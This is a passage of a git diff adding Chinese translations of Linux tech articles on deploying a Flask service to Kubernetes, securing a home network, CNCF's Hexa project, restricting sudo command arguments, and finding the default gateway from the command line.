8080 端口(因为 waitress 运行在此端口上)。 + +为了运行此服务,我们指示容器使用使用以下命令: + +``` +python /ums/app.py +``` + +一旦 `Dockerfile` 准备完成,在 `ums-find-service` 文件夹中运行以下命令,创建 Docker 镜像: + +``` +docker build -t glarimy/ums-find-service +``` + +它会创建 Docker 镜像,可以使用以下命令查找镜像: + +``` +docker images +``` + +尝试将镜像推送到 Docker Hub,你也可以登录到 Docker。 + +``` +docker login +docker push glarimy/ums-find-service +``` + +最后一步是为 Kubernetes 部署构建清单。 + +在之前的文章中,我们已经介绍了如何建立 Kubernetes 集群、部署和使用服务的方法。我假设仍然使用之前文章中的清单文件来部署添加服务、MySQL、Kafka 和 Zookeeper。我们只需要将以下内容添加到 `kube-find-deployment.yml` 文件中: + +``` +apiVersion: apps/v1 +kind: Deployment +metadata: +name: ums-find-service +labels: +app: ums-find-service +spec: +replicas: 3 +selector: +matchLabels: +app: ums-find-service +template: +metadata: +labels: +app: ums-find-service +spec: +containers: +- name: ums-find-service +image: glarimy/ums-find-service +ports: +- containerPort: 8080 +--- +apiVersion: v1 +kind: Service +metadata: +name: ums-find-service +labels: +name: ums-find-service +spec: +type: LoadBalancer +ports: +- port: 8080 +selector: +app: ums-find-service +``` + +上面清单文件的第一部分声明了 `glarimy/ums-find-service` 镜像的 `FindService`,它包含三个副本。它还暴露 8080 端口。清单的后半部分声明了一个 Kubernetes 服务作为 `FindService` 部署的前端。请记住,在之前文章中,mysqldb 服务已经是上述清单的一部分了。 + +运行以下命令在 Kubernetes 集群上部署清单文件: + +``` +kubectl create -f kube-find-deployment.yml +``` + +部署完成后,可以使用以下命令验证容器组和服务: + +``` +kubectl get services +``` + +输出如图 3 所示: + +![图 3: Kubernetes 服务][3] + +它会列出集群上运行的所有服务。注意查找服务的外部 IP,使用 `curl` 调用此服务: + +``` +curl http://10.98.45.187:8080/user/KrishnaMohan +``` + +注意:10.98.45.187 对应查找服务,如图 3 所示。 + +如果我们使用 `AddService` 创建一个名为 `KrishnaMohan` 的用户,那么上面的 `curl` 命令看起来如图 4 所示: + +![图 4: 查找服务][4] + +用户管理系统(UMS)的体系结构包含 `AddService` 和 `FindService`,以及存储和消息传递所需的后端服务,如图 5 所示。可以看到终端用户使用 `ums-add-service` 的 IP 地址添加新用户,使用 `ums-find-service` 的 IP 地址查找已有用户。每个 Kubernetes 服务都由三个对应容器的节点支持。还要注意:同样的 mysqldb 服务用于存储和检索用户数据。 + +![图 5: UMS 的添加服务和查找服务][5] + +### 其他服务 + +UMS 系统还包含两个服务:`SearchService` 和 `JournalService`。在本系列的下一部分中,我们将在 Node 平台上设计这些服务,并将它们部署到同一个 Kubernetes 集群,以演示多语言微服务架构的真正魅力。最后,我们将观察一些与微服务相关的设计模式。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/python-microservices-using-flask-on-kubernetes/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-1-The-domain-model-of-FindService-1.png +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-2-The-application-layer-of-FindService.png +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-3-Kubernetes-services-1.png +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-4-FindService.png +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-5-UMS-with-AddService-and-FindService.png +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Python-Microservices-1-696x477.jpg diff --git a/published/202210/20220914 3 steps to protect your home network.md b/published/202210/20220914 3 steps to protect your home network.md new file mode 100644 index 0000000000..97ae32b319 --- /dev/null +++ b/published/202210/20220914 3 steps to protect your home network.md @@ -0,0 +1,90 @@ +[#]: subject: "3 steps to protect your home network" +[#]: via: "https://opensource.com/article/22/9/protect-home-network" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15093-1.html" + +保护家庭网络三部曲 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/01/183650wcrjnshjn9cwzqws.jpg) + +> 都有谁可以访问你的家庭网络?随着物联网(IoT)的普及,有时在运行在你家庭网络上的服务比你想象的更多。我们应当设法保护它免受不需要的访问。 + +今天,互联网连接的典型结构是家里有一个**路由器**,通常是一个位于你家某个地方的小盒子,它充当了通往互联网世界的网关。路由器创建了一个本地网络,你将你的设备连接到这个本地网络,包括你的电脑、手机、电视、游戏机,以及其他任何需要连接到互联网或相互连接的设备。我们很容易将路由器当作一个分界线,一边是互联网而另一边是你的设备。但这是一个可怕的误解,因为在现实中,你的路由器的一边是整个*计算机网络世界*,另一边是你的数字生活。当你直接使用互联网时,你是在访问别人的计算机网络的共享区域。当你不使用互联网时,它却并没有消失,有很多脚本和程序被设计用以访问数以百万计的路由器,试图找到开放的端口或服务。随着物联网(IoT)的普及,有时在运行在你家庭网络上的服务比你想象的更多。通过以下三个步骤,你可以审计并保护你的家庭网络免受不必要的访问和攻击。 + +### 1、协议先行 + +路由器的部分工作是将互联网与你的家庭网络分开。但当你访问互联网时,你邀请互联网的某些部分进入你的家庭。这意味着你创建了一个例外规则,绕过了阻止互联网进入你的本地网络的一般规则。 + +在许多网站上,通过你的路由器的仅是文本内容。例如,当你访问你最喜欢的博客网站,阅读最新的科技新闻时,你下载了几页文字。你阅读文本,然后继续访问。这是一个简单的一对一的连接。 + +然而,HTTPS 协议是强大的,在互联网上运行的应用程序也充满了多样性。例如,当你访问某个网站时,你不只是在下载文本。你会得到图形,也许还有脚本或电子书。你还在后台下载 cookie,这有助于网站管理员了解谁在访问网站、加强对移动设备的支持、为更好的可访问性提供新设计并了解读者喜欢的内容。当你网上冲浪时,你可能不会想到 cookie 或流量分析是与你交互的东西,它是被“藏入”页面交互的东西,因为 HTTPS 协议的设计是广泛而通用的,在多数场景被高度信任。当你通过 HTTPS(或者说,在一个浏览器中)访问一个网站时,你可能在不知情的情况下默认同意自动下载文件,但你认为这些文件是有用的和无关紧要的。对于一种旨在减少信任的文件共享模式,你可以尝试一下 [Gemini][3] 或 [Gopher][4] 协议。 + +当你加入一个视频会议时,你也使用了类似的协议。你不仅要下载页面上的文字、用于流量监控的cookie,还要下载视频和音频材料。 + +有些网站的设计甚至更进一步,它们被设计成允许用户分享其电脑屏幕,有时甚至是对他们电脑的控制。这样设计的初衷是有助于远程技术人员修复电脑上的问题,但在现实中,用户可能被欺骗访问这一网站,导致财务凭证和个人数据被盗。 + +如果一个提供文字文章的网站要求你允许它在你阅读时调用网络摄像头,你理应高度警惕。当一个设备需要访问互联网时,你也应当保持同样的谨慎和警惕。当你把一个设备连接到网络时,重要的是要关注你同意了何种隐性协议。一个旨在控制你房子里的照明的设备不应该*要求*互联网接入,但事实上许多设备需要并且没有明确说明你授予该设备什么权限。许多物联网设备都*希望*接入互联网,这样你就可以在离家时通过互联网访问该设备。这也是“智慧家庭”的部分吸引力。然而,我们不可能知道所有设备运行的是什么代码。在可能的情况下,使用开源和值得信赖的软件,如 [Home Assistant][5] 来与你的物联网设备对接。 + +### 2、创建访客网络 + +许多现代路由器可以为你的家庭创建第二个网络(通常在配置面板中称为 “访客网络”)。你可能觉得你不需要访客网络,但实际上,访客网络是十分有意义的。它旨在为访问你房子的人提供互联网访问,而你不需要告诉他们你的私人网络密码。例如在我家的门厅里,我有一个牌子标明了访客网络的名称和密码。任何来访的人都可以加入该网络以访问互联网。 + +另一方面可以用于物联网、边缘设备和家庭实验室的应用。当我去年购买 “可编程” 的圣诞灯时,我惊讶地发现,为了连接这些灯,它们必须连接到互联网。当然,这些来自无名工厂的 50 美元的灯没有附带源代码,也没有任何方法可以与嵌入在适配器中的固件进行交互或检查,所以我对我同意将它们连接到我的本地网络有一定的顾虑。它们已经被永久地归入了我的访客网络。 + +每个路由器供应商都是不同的,所以没有关于如何在你的路由器上创建一个 “沙盒” 访客网络的通用指令。一般来说,你通过一个网络浏览器访问你的家庭路由器。你的路由器的地址有时印在路由器的底部,它以 192.168 或 10 开头。 + +访问路由器地址,用你配置互联网服务时使用的凭证登录。这通常是简单的 “admin” 和一个数字密码(有时,这个密码也印在路由器上)。如果你不知道登录方式,请致电给你的互联网供应商或者制造商咨询。 + +在图形界面中,找到 “访客网络” 的面板。这个选项在我的路由器的**高级**配置中,但它可能在你的路由器的其他地方,它甚至可能不叫 “访客网络”(或者它甚至可能不是一个选项)。具体情况因厂商而异。 + +![创建访客网络][7] + +这可能需要耐心的寻找。如果你发现你的设备有这个选择,那么你可以为访客建立一个访客网络,包括在不受信任的灯泡上运行的应用程序。 + +### 3、配置防火墙 + +你的路由器可能已经存在一个默认运行的防火墙。防火墙将不需要的流量挡在你的网络之外,通常是将传入的数据包限制在 HTTP 和 HTTPS(浏览器流量)以及其他一些常用的协议上,并拒绝不是你发起的请求。你可以通过登录你的路由器并寻找 “防火墙” 或 “安全” 设置来检查防火墙是否正在运行。 + +然而,许多设备可以运行它们自己的防火墙。网络之所以被称为*网络*是因为在网络上的设备互相能进行连接。在设备之间设置防火墙,就像在你的房子里锁上一扇门。客人可以在大厅里游荡,但如果没有合适的钥匙,他们就不会被邀请进入你的私人办公室。 + +在 Linux 上,你可以使用 [firewalld][8] 接口和 [firewall-cmd][9] 命令来配置你的防火墙。在其他操作系统上,防火墙有时在一个标有 “安全” 或 “共享” 的控制面板中(有时两者都有)。 大多数默认的防火墙设置只允许出站流量(即你通过打开浏览器并导航到一个网站而启动的流量)和响应你的请求的入站流量(即响应你的导航的网络数据)。不是由你发起的传入流量会被阻止。 + +你可以根据需要配置相关规则以允许特定的流量,例如 [SSH 连接][10]、[VNC 连接][11],或 [游戏服务器][12] 主机。 + +### 监控你的网络 + +这些技巧有助于建立起你对周围发生的事情的认识。下一步是 [监控你的网络][13]。你可以从简单的开始,例如在你的访客网络的测试服务器上运行 [Fail2ban][14]。看一下日志,如果你的路由器提供日志的话。你不必对 TCP/IP 和数据包以及其他进阶知识了如指掌,就可以看到互联网是一个繁忙而嘈杂的地方,当你在家里安装一个新设备时,无论是物联网、移动设备、台式机或笔记本电脑、游戏机,甚至是 [树莓派][15],而亲身体会到这一点对你采取预防措施有很大启发。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/protect-home-network + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/wfh_work_home_laptop_work.png +[2]: https://opensource.com/article/20/1/open-source-networking +[3]: https://opensource.com/article/20/10/gemini-internet-protocol +[4]: https://opensource.com/article/16/12/yearbook-compute-its-1989#gopher +[5]: https://opensource.com/article/20/12/home-assistant +[6]: https://opensource.com/article/20/11/wireless-protocol-home-automation +[7]: https://opensource.com/sites/default/files/2022-08/router-guest-network.jpg +[8]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[9]: https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd +[10]: https://www.redhat.com/sysadmin/access-remote-systems-ssh +[11]: https://www.redhat.com/sysadmin/accessing-remote-desktops +[12]: https://opensource.com/article/18/5/maptool +[13]: https://opensource.com/article/19/2/network-monitoring-tools +[14]: https://www.redhat.com/sysadmin/protect-systems-fail2ban +[15]: https://opensource.com/article/22/3/raspberry-pi-projects-2022 diff --git a/published/202210/20220914 CNCF Accepts Open Source Hexa Project As A Sandbox Project.md b/published/202210/20220914 CNCF Accepts Open Source Hexa Project As A Sandbox Project.md new file mode 100644 index 0000000000..4becf7574e --- /dev/null +++ b/published/202210/20220914 CNCF Accepts Open Source Hexa Project As A Sandbox Project.md @@ -0,0 +1,59 @@ +[#]: subject: "CNCF Accepts Open Source Hexa Project As A Sandbox Project" +[#]: via: "https://www.opensourceforu.com/2022/09/cncf-accepts-open-source-hexa-project-as-a-sandbox-project/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15109-1.html" + +CNCF 接受开源 Hexa 项目作为沙盒项目 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/open-source-banner-3-1536x825.png) + +> 开源身份标准和策略协调软件巩固了对多云访问策略的管理。 + +根据多云身份协调公司 Strata Identity 的说法,Hexa 和 IDQL(身份查询语言Identity Query Language)开源项目使组织能够在多个云平台上的应用程序中采用一致的访问策略,已被云原生计算基金会(CNCF)接受为沙盒项目:https://www.cncf.io/projects/hexa/ + +“云身份Cloud Identity 是非常分散的,没有明确的路径来协调不同服务提供商平台的策略管理,” TechVision Research 首席咨询分析师兼首席执行官 Gary Rowe 说。“IDQL 代表了在为基于云的 IAM 治理提供基于标准的方法方面向前迈出的重要一步。” + +Linux 基金会的 CNCF 是一个致力于监督开源云原生计划的非营利组织。Versa Networks、S&P Global、Cummins、Kroger、MEF 和 Strata Identity 都是 IDQL 和 Hexa 的作者和工作组参与者。有关如何帮助该项目的更多详细信息,请访问 https://hexaorchestration.org。 + +目前,每个云平台(如 AWS、谷歌云、微软 Azure 等)都使用一个独特的身份系统,采用独特的策略语言,彼此完全不兼容。而每个应用程序都需要进行硬编码才能与特定的识别系统一起运行。根据 2022 年多云身份状况调查,只有 25% 的受访者表示他们了解多云访问限制,这对企业来说是一个重大障碍。 + +基于该公司创始人共同编写 SSO 联盟 SAML 标准的经验,Strata Identity 领导了 Hexa 和 IDQL 项目。这个新项目的目标是引入一个精心设计的开源策略编排框架,以增加组织、客户和软件提供商从转向现代、开放和无密码的身份验证方法中获利的可能性。 + +在不改变识别系统或应用程序的情况下,IDQL 和 Hexa 允许任意数量的身份系统作为单个集成系统运行。这些开源计划共同提供了以下优势: + +发现策略: + +* 对重要的应用程序、数据和策略进行分析和清点 +* 发现可用的应用程序以及它们的位置 +* 识别策略、用户和角色 + +管理策略: + +* 在策略发现期间,将本机命令式策略转换为声明性 IDQL 策略 +* 在策略编排期间,将声明性 IDQL 策略转换为目标系统的本机命令式策略 + +策略编排: + +* 使用基于云的架构,无需代理、代理或本地代码; +* 分发的规则由身份提供者(IdP)、云、IaaS 和网络系统执行 +* 采用可扩展的开源范例,允许定制的连接器集成 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/cncf-accepts-open-source-hexa-project-as-a-sandbox-project/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.cncf.io/projects/hexa/ diff --git a/published/202210/20220915 How To Prevent Command Arguments With Sudo In Linux.md b/published/202210/20220915 How To Prevent Command Arguments With Sudo In Linux.md new file mode 100644 index 0000000000..46ba118458 --- /dev/null +++ b/published/202210/20220915 How To Prevent Command Arguments With Sudo In Linux.md @@ -0,0 +1,102 @@ +[#]: subject: "How To Prevent Command Arguments With Sudo In Linux" +[#]: via: "https://ostechnix.com/prevent-command-arguments-with-sudo/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15106-1.html" + +如何在 sudo 运行的命令中防止使用参数 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/04/224059k9jl5kzhlhw5d98j.jpg) + +> 允许用户使用 `sudo` 运行命令,但不带命令行参数。 + +在之前的文章,我们学习了如何 [通过 sudo 以 root 身份运行目录中的命令][1]。在这篇指南中,我们将学习如何在 Linux 中 **防止 sudo 运行的命令使用参数**。即我们允许一个用户使用 `sudo` 运行特权级命令,但是 **不带命令行参数**。 + +### 背景介绍 + +你已经知道了,每个命令执行一个特定操作有不同的选项。让我们以 `ls` 命令为例。 + +`ls` 命令会罗列文件夹中的内容,对吗?没错。`ls` 命令附带了一些命令行选项和标志。例如,你可以用 `ls` 命令的 `-a` 标志罗列文件夹中的所有内容(包括隐藏文件)。 + +在这份简要指南中,我们将明白如何允许用户通过 `sudo` 运行 `ls` 命令,但是不能使用命令行选项或者标志。我讲清楚了吗?接下来让我来展示一下如何做到这点。 + +### 防止使用 sudo 参数 + +以 `root` 用户身份编辑 `/etc/sudoers` 文件: + +``` +[root@Almalinux8CT ~]# visudo +``` + +添加下面一行: + +``` +user1 ALL=(root) /usr/bin/ls "" +``` + +![Deny Command Arguments With Sudo][2] + +要注意这里 `ls` 之后的 **双引号**。双引号会屏蔽用户在给定命令之后输入的参数(比如 `ls` 命令)。在上面的命令中,`user1` 能够以 `root` 身份运行 `ls` 命令,但是不能使用 `ls` 命令的选项以及标志。你可以选择其他的指令进行尝试。保存该文件并关闭。 + +现在,以 `user1` 的身份登录系统,并尝试以管理员身份运行 `ls` 命令,不要添加任何选项: + +``` +[user1@Almalinux8CT ~]$ sudo -u root ls -a +``` + +或许你会遇到下面的报错: + +``` +Sorry, user user1 is not allowed to execute '/bin/ls -a' as root on Almalinux8CT. +``` + +不过你可以不添加参数来运行 `ls` 命令: + +``` +[user1@Almalinux8CT ~]$ sudo -u root ls +``` + +![Prevent Command Arguments With Sudo][3] + +### 防止所有用户使用命令参数 + +上述例子像你展示了如何阻止用户以管理员身份运行带有参数的命令。你是否想要对所有用户应用该规则呢?很简单!只需要在 `/etc/sudoers` 文件中添加一行: + +``` +ALL ALL=(root) /usr/bin/ls "" +``` + +现在,系统中的所有用户都可以运行不带参数的 `ls` 命令。 + +想要恢复默认设置,只需要删除最后的双引号,或者删除整行。 + +查看帮助手册,了解更多。 + +``` +$ man sudoers +``` + +### 结论 + +在这份指南中,我们学习了如何允许用户以管理员身份运行命令,但是不能添加任何命令参数。这样可以限制用户误用一些命令行参数。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/prevent-command-arguments-with-sudo/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/run-programs-in-a-directory-via-sudo/ +[2]: https://ostechnix.com/wp-content/uploads/2022/09/Deny-Command-Arguments-With-Sudo.png +[3]: https://ostechnix.com/wp-content/uploads/2022/09/Prevent-Command-Arguments-With-Sudo.png diff --git a/published/202210/20220919 How To Find Default Gateway IP Address In Linux And Unix From Commandline.md b/published/202210/20220919 How To Find Default Gateway IP Address In Linux And Unix From Commandline.md new file mode 100644 index 0000000000..006378d554 --- /dev/null +++ b/published/202210/20220919 How To Find Default Gateway IP Address In Linux And Unix From Commandline.md @@ -0,0 +1,323 @@ +[#]: subject: "How To Find Default Gateway IP Address In Linux And Unix From Commandline" +[#]: via: "https://ostechnix.com/find-default-gateway-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15158-1.html" + +在 Linux 中如何从命令行查找默认网关的 IP 地址 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/20/161605f5ispl5jslbpllss.jpg) + +> Linux 下查找网关或路由器 IP 地址的 5 种方法。 + +**网关** 是一个节点或一个路由器,当连接到同一路由器时,它允许两个或多个 IP 地址不同的主机相互通信。如果没有网关,它们将无法相互通信。换句话说,网关充当接入点,将网络数据从本地网络传输到远程网络。在本指南中,我们将看到在 Linux 和 Unix 中从命令行找到默认网关的所有可能方法。 + +### 在 Linux 中查找默认网关 + +Linux 中有各种各样的命令行工具可用于查看网关 IP 地址。最常用的工具是:`ip`、`ss` 和 `netcat`。我们将通过示例了解如何使用每种工具查看默认网关。 + +#### 1、使用 ip 命令查找默认网关 + +`ip` 命令用于显示和操作 Linux 中的路由、网络设备、接口和隧道。 + +要查找默认网关或路由器 IP 地址,只需运行: + +``` +$ ip route +``` + +或者: + +``` +$ ip r +``` + +或者: + +``` +$ ip route show +``` + +示例输出: + +``` +default via 192.168.1.101 dev eth0 proto static metric 100 +172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown +192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.20 metric 100 +``` + +你从输出中看到了 `default via 192.168.1.101` 这一行吗?它就是默认网关。我的默认网关是 `192.168.1.101`。 + +你可以使用 `-4` 参数只`显示 IPv4 网关`: + +``` +$ ip -4 route +``` + +或者,使用 `-6` 参数只**显示 IPv6 网关**: + +``` +$ ip -6 route +``` + +如你所见,IP 地址和子网详细信息也一并显示了。如果你想只显示默认网关,排除所有其他细节,可以使用 `ip route` 搭配 `awk` 命令,如下所示。 + +使用 `ip route` 和 `awk` 命令打印网关地址,执行命令: + +``` +$ ip route | awk '/^default/{print $3}' +``` + +(LCTT 译注:wsl1 上无输出结果,正常 Linux 发行版无问题) + +或者: + +``` +$ ip route show default | awk '{print $3}' +``` + +这将只列出网关 IP: + +示例输出: + +``` +192.168.1.101 +``` + +![使用 ip 命令列出默认网关][1] + +你也可以使用 [grep][2] 命令配合 `ip route` 对默认网关进行过滤。 + +使用 `ip route` 和 `grep` 查找默认网关 IP 地址,执行命令: + +``` +$ ip route | grep default +default via 192.168.1.101 dev eth0 proto static metric 100 +``` + +在最新的 Linux 发行版中,`ip route` 是查找默认网关 IP 地址的推荐命令。然而,你们中的一些人可能仍然在使用传统的工具,如 `route` 和 `netstat`。旧习难改,对吧?下面的部分将介绍如何在 Linux 中使用 `route` 和 `netstat` 命令确定网关。 + +#### 2、使用 route 命令显示默认网关 IP 地址 + +`route` 命令用于在较老的 Linux 发行版中显示和操作路由表,如 RHEL 6、CentOS 6 等。 + +如果你正在使用较老的 Linux 发行版,你可以使用 `route` 命令来显示默认网关。 + +请注意,在最新的 Linux 发行版中,`route` 工具已被弃用,`ip route` 命令取而代之。如果你因为某些原因仍然想使用 `route`,你需要安装它。 + +首先,我们需要检查哪个包提供了 `route` 命令。为此,在基于 RHEL 的系统上运行以下命令: + +``` +$ dnf provides route +``` + +示例输出: + +``` +net-tools-2.0-0.52.20160912git.el8.x86_64 : Basic networking tools +Repo : @System +Matched from: +Filename : /usr/sbin/route + +net-tools-2.0-0.52.20160912git.el8.x86_64 : Basic networking tools +Repo : baseos +Matched from: +Filename : /usr/sbin/route +``` + +如你所见,`net-tools` 包提供了 `route` 命令。所以,让我们使用以下命令来安装它: + +``` +$ sudo dnf install net-tools +``` + +现在,运行带有 `-n` 参数的 `route` 命令来显示 Linux 系统中的网关或路由器 IP 地址: + +``` +$ route -n +``` + +示例输出: + +``` +Kernel IP routing table +Destination Gateway Genmask Flags Metric Ref Use Iface +0.0.0.0 192.168.1.101 0.0.0.0 UG 100 0 0 eth0 +172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0 +192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0 +``` + +![使用 route 命令显示默认网关 IP 地址][3] + +如你所见,网关 IP 地址是 192.168.1.101。你还将在 Flags 下面看到两个字母 `UG`。字母 `U` 代表接口是 “Up”(在运行),`G` 表示 “Gateway”(网关)。 + +#### 3、使用 netstat 命令查看网关 IP 地址 + +`netstat` 会输出 Linux 网络子系统的信息。使用 `netstat` 工具,我们可以在 Linux 和 Unix 系统中打印网络连接、路由表、接口统计信息、伪装连接和组播成员关系。 + +`netstat` 是 `net-tools` 包的一部分,所以确保你已经在 Linux 系统中安装了它。使用以下命令在基于 RHEL 的系统中安装它: + +``` +$ sudo dnf install net-tools +``` + +使用 netstat 命令打印默认网关 IP 地址: + +``` +$ netstat -rn +``` + +示例输出: + +``` +Kernel IP routing table +Destination Gateway Genmask Flags MSS Window irtt Iface +0.0.0.0 192.168.1.101 0.0.0.0 UG 0 0 0 eth0 +172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0 +192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 +``` + +![使用 netstat 命令查看网关 IP 地址][4] + +`netstat` 命令与 `route` 命令的输出信息相同。如上输出可知,网关的 IP 地址为 `192.168.1.191`,`UG` 表示网关连接的网卡是有效的,`G` 表示网关。 + +请注意 `netstat` 也已弃用,建议使用 `ss` 命令代替 `netstat`。 + +#### 4、使用 routel 命令打印默认网关或路由器 IP 地址 + +`routel` 是一个脚本,它以一种漂亮格式的输出路由。`routel` 脚本的输出让一些人认为比 `ip route` 列表更直观。 + +`routel` 脚本也是 `net-tools` 包的一部分。 + +打印默认网关或路由器 IP 地址,不带任何参数运行 `routel` 脚本,如下所示: + +``` +$ routel +``` + +示例输出: + +``` + target gateway source proto scope dev tbl + default 192.168.1.101 static eth0 + 172.17.0.0/ 16 172.17.0.1 kernel linkdocker0 + 192.168.1.0/ 24 192.168.1.20 kernel link eth0 + 127.0.0.0/ 8 local 127.0.0.1 kernel host lo local + 127.0.0.1 local 127.0.0.1 kernel host lo local +127.255.255.255 broadcast 127.0.0.1 kernel link lo local + 172.17.0.1 local 172.17.0.1 kernel hostdocker0 local + 172.17.255.255 broadcast 172.17.0.1 kernel linkdocker0 local + 192.168.1.20 local 192.168.1.20 kernel host eth0 local + 192.168.1.255 broadcast 192.168.1.20 kernel link eth0 local + ::1 kernel lo + ::/ 96 unreachable lo +::ffff:0.0.0.0/ 96 unreachable lo + 2002:a00::/ 24 unreachable lo + 2002:7f00::/ 24 unreachable lo + 2002:a9fe::/ 32 unreachable lo + 2002:ac10::/ 28 unreachable lo + 2002:c0a8::/ 32 unreachable lo + 2002:e000::/ 19 unreachable lo + 3ffe:ffff::/ 32 unreachable lo + fe80::/ 64 kernel eth0 + ::1 local kernel lo local +fe80::d085:cff:fec7:c1c3 local kernel eth0 local +``` + +![使用 routel 命令打印默认网关或路由器 IP 地址][5] + +只打印默认网关,和 `grep` 命令配合,如下所示: + +``` +$ routel | grep default + default 192.168.1.101 static eth0 +``` + +#### 5、从以太网配置文件中查找网关 + +如果你在 [Linux 或 Unix 中配置了静态 IP 地址][6],你可以通过查看网络配置文件查看默认网关或路由器 IP 地址。 + +在基于 RPM 的系统上,如 Fedora、RHEL、CentOS、AlmaLinux 和 Rocky Linux 等,网络接口卡配置存储在 `/etc/sysconfig/network-scripts/` 目录下。 + +查找网卡的名称: + +``` +# ip link show +``` + +示例输出: + +``` +1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 +2: eth0@if5: mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 + link/ether d2:85:0c:c7:c1:c3 brd ff:ff:ff:ff:ff:ff link-netnsid 0 +``` + +网卡名为 `eth0`。所以让我们打开这个网卡文件的网卡配置: + +``` +# cat /etc/sysconfig/network-scripts/ifcfg-eth0 +``` + +示例输出: + +``` +DEVICE=eth0 +ONBOOT=yes +UUID=eb6b6a7c-37f5-11ed-a59a-a0e70bdf3dfb +BOOTPROTO=none +IPADDR=192.168.1.20 +NETMASK=255.255.255.0 +GATEWAY=192.168.1.101 +DNS1=8.8.8.8 +``` + +如你所见,网关 IP 为 `192.168.1.101`。 + +在 Debian、Ubuntu 及其衍生版中,所有的网络配置文件都存储在 `/etc/network` 目录下。 + +``` +$ cat /etc/network/interfaces +``` + +示例输出: + +``` +auto ens18 +iface ens18 inet static + address 192.168.1.150 + netmask 255.255.255.0 + gateway 192.168.1.101 + dns-nameservers 8.8.8.8 +``` + +请注意,此方法仅在手动配置 IP 地址时有效。对于启用 DHCP 的网络,需要按照前面的 4 种方法操作。 + +### 总结 + +在本指南中,我们列出了在 Linux 和 Unix 系统中找到默认网关的 5 种不同方法,我们还在每种方法中包含了显示网关/路由器 IP 地址的示例命令。希望它对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/find-default-gateway-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/09/Find-Default-Gateway-Using-ip-Command.png +[2]: https://ostechnix.com/the-grep-command-tutorial-with-examples-for-beginners/ +[3]: https://ostechnix.com/wp-content/uploads/2022/09/Display-Default-Gateway-IP-Address-Using-route-Command.png +[4]: https://ostechnix.com/wp-content/uploads/2022/09/View-Gateway-IP-Address-Using-netstat-Command.png +[5]: https://ostechnix.com/wp-content/uploads/2022/09/Print-Default-Gateway-IP-Address-Or-Router-IP-Address-Using-routel-Command.png +[6]: https://ostechnix.com/configure-static-ip-address-linux-unix/ diff --git a/published/202210/20220919 PyLint- The good, the bad, and the 